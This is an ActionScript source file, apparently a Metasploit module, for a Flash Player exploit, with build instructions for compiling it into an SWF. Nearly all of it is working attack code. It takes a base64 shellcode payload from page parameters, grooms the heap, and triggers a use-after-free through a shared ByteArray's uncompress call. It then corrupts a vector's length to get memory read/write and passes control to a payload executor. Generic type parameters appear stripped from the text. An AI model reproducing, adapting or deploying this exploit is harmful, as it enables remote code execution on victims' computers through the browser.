// Build how to: // 1. Download the AIRSDK, and use its compiler. // 2. Download the Flex SDK (4.6) // 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) // (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) // 4. Build with: mxmlc -o msf.swf Main.as // It uses original code from @hdarwin89 for exploitation using ba's and vectors package { import flash.utils.* import flash.display.* import flash.system.* import mx.utils.Base64Decoder public final class Exploit extends Sprite { private var shared_ba:ByteArray = null private var hole_ba:ByteArray = null; private var confuse_length_ba:ByteArray = null; private var fake_ba:ByteArray = null; private var worker:Worker = null; private var byte_array_vector:Vector. = null; private var byte_array_vector_length:int; private var object_vector:Vector. = null; private var object_vector_length:uint; private var ba:ByteArray private var uv:Vector. private var corrupted_uv_index:uint = 0 private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) private var b64:Base64Decoder = new Base64Decoder(); private var payload:ByteArray private var platform:String private var os:String private var exploiter:Exploiter public function Exploit() { this.object_vector_length = 5770 * 2 this.byte_array_vector_length = 510 * 2 platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) payload = b64.toByteArray() this.initialize_worker_and_ba() if (!this.trigger()) { return } var index:uint = search_uint_vector(114, 0x40000000) if (index == 0xffffffff) { return } this.uv = this.object_vector[this.corrupted_uv_index] for (var i:uint = 0; i < object_vector.length; i++) { if (i != corrupted_uv_index) object_vector[i] = null } exploiter = new Exploiter(this, platform, os, payload, uv) } final private function initialize_worker_and_ba():Boolean{ this.ba = new ByteArray() this.ba.endian = "littleEndian" this.ba.length = 1024 this.ba.writeUnsignedInt(0xdeedbeef) this.ba.position = 0 this.shared_ba = new ByteArray() this.shared_ba.shareable = true this.shared_ba.endian = Endian.LITTLE_ENDIAN this.shared_ba.writeUnsignedInt(252536) this.shared_ba.writeUnsignedInt(16777216) this.confuse_length_ba = new ByteArray() this.confuse_length_ba.length = 0x2000 this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) this.fake_ba = new ByteArray(); this.fake_ba.endian = Endian.LITTLE_ENDIAN; this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); return true; } final private function trigger():Boolean{ // Memory massaging // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) this.fill_byte_array_vector(); // 2. Clear the marked ByteArray this.hole_ba.clear(); // The shared_ba should be left in "shared" state this.worker.setSharedProperty("fnfre", this.shared_ba) this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) this.worker.setSharedProperty("vfhrth", this.shared_ba) // fake_ba *data* is going to fill the space freed from the hole this.fake_ba.length = 0x2000; this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); // Trigger the vulnerability, if the memory layout is good enough // the (freed) hole_ba metadata will end being the shared_ba metadata... this.shared_ba.uncompress() // So its size should be 0x2000 if (this.shared_ba.length != 0x2000) { return false } // Free the fake_ba and make holes on the ByteArray's // allocated on massaging. this.free_fake_and_make_holes() // Fill the holes and the fake_ba data space with // vectors this.fill_with_vectors() // Hopefully the shared_ba metadata, product of the vulnerability // at this moment point to the vectors in memory =) it means // game over. var pwn_test:uint; this.shared_ba.position = 0; pwn_test = this.shared_ba.readUnsignedInt(); if (pwn_test == 0xBBBBBBBB) { return false } return true; } final private function fill_byte_array(local_ba:ByteArray, value:int):void{ var i:int; local_ba.position = 0; i = 0; while (i < (local_ba.length / 4)) { local_ba.writeInt(value); i++; }; local_ba.position = 0; } final private function fill_byte_array_vector():void{ var i:int; var local_ba:ByteArray; this.byte_array_vector = new Vector.(this.byte_array_vector_length) i = 0; while (i < this.byte_array_vector_length) { local_ba = new ByteArray(); this.byte_array_vector[i] = local_ba; local_ba.endian = Endian.LITTLE_ENDIAN; i++; } var hole_index:int = this.byte_array_vector_length * 4 / 5; if (hole_index % 2 == 0) { hole_index++; } for(i = 0; i < this.byte_array_vector_length; i++) { local_ba = this.byte_array_vector[i] as ByteArray local_ba.length = 0x2000 this.fill_byte_array(local_ba, 0xCCCCCCCC) local_ba.writeInt(0xbabefac0) local_ba.writeInt(0xbabefac1) local_ba.writeInt(i) local_ba.writeInt(0xbabefac3) if (i == hole_index) { this.hole_ba = local_ba; } } return; } final private function free_fake_and_make_holes():void { var i:int var clear_ba:ByteArray var hole_index:int = this.byte_array_vector_length * 4 / 5 if (hole_index % 2 == 0) { hole_index++; } for (i = 0; i < this.byte_array_vector_length; i++) { if (i == hole_index) { this.fake_ba.clear(); } else { if (i % 2 == 1) { clear_ba = this.byte_array_vector[i] as ByteArray this.fill_byte_array(clear_ba, 0xDDDDDDDD) clear_ba.clear() } } } return } final private function fill_with_vectors():void { var i:uint; var uint_vector:Vector.; var objects:Vector.; this.object_vector = new Vector.(this.object_vector_length); i = 0 while (i < this.object_vector_length) { this.object_vector[i] = new Vector.() i++ } i = 0 while (i < this.object_vector_length) { uint_vector = this.object_vector[i] as Vector. uint_vector.length = 114 uint_vector[0] = 0xfeedbabe uint_vector[1] = i uint_vector[2] = 0xbabeface i++ } } // Use the corrupted shared_ba to search and corrupt the uint vector // Returns the offset to the *length* of the corrupted vector private function search_uint_vector(old_length:uint, new_length:uint):uint { this.shared_ba.position = 0 var i:uint = 0 var length:uint = 0 var atom:uint = 0 var mark_one:uint = 0 var index:uint = 0 var mark_two:uint = 0 while (i < 0x2000) { length = shared_ba.readUnsignedInt() if (length == old_length) { atom = shared_ba.readUnsignedInt() mark_one = shared_ba.readUnsignedInt() index = shared_ba.readUnsignedInt() mark_two = shared_ba.readUnsignedInt() if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { shared_ba.position = i shared_ba.writeUnsignedInt(new_length) this.corrupted_uv_index = index return i; } i = i + 16 } i = i + 4 } return 0xffffffff } } }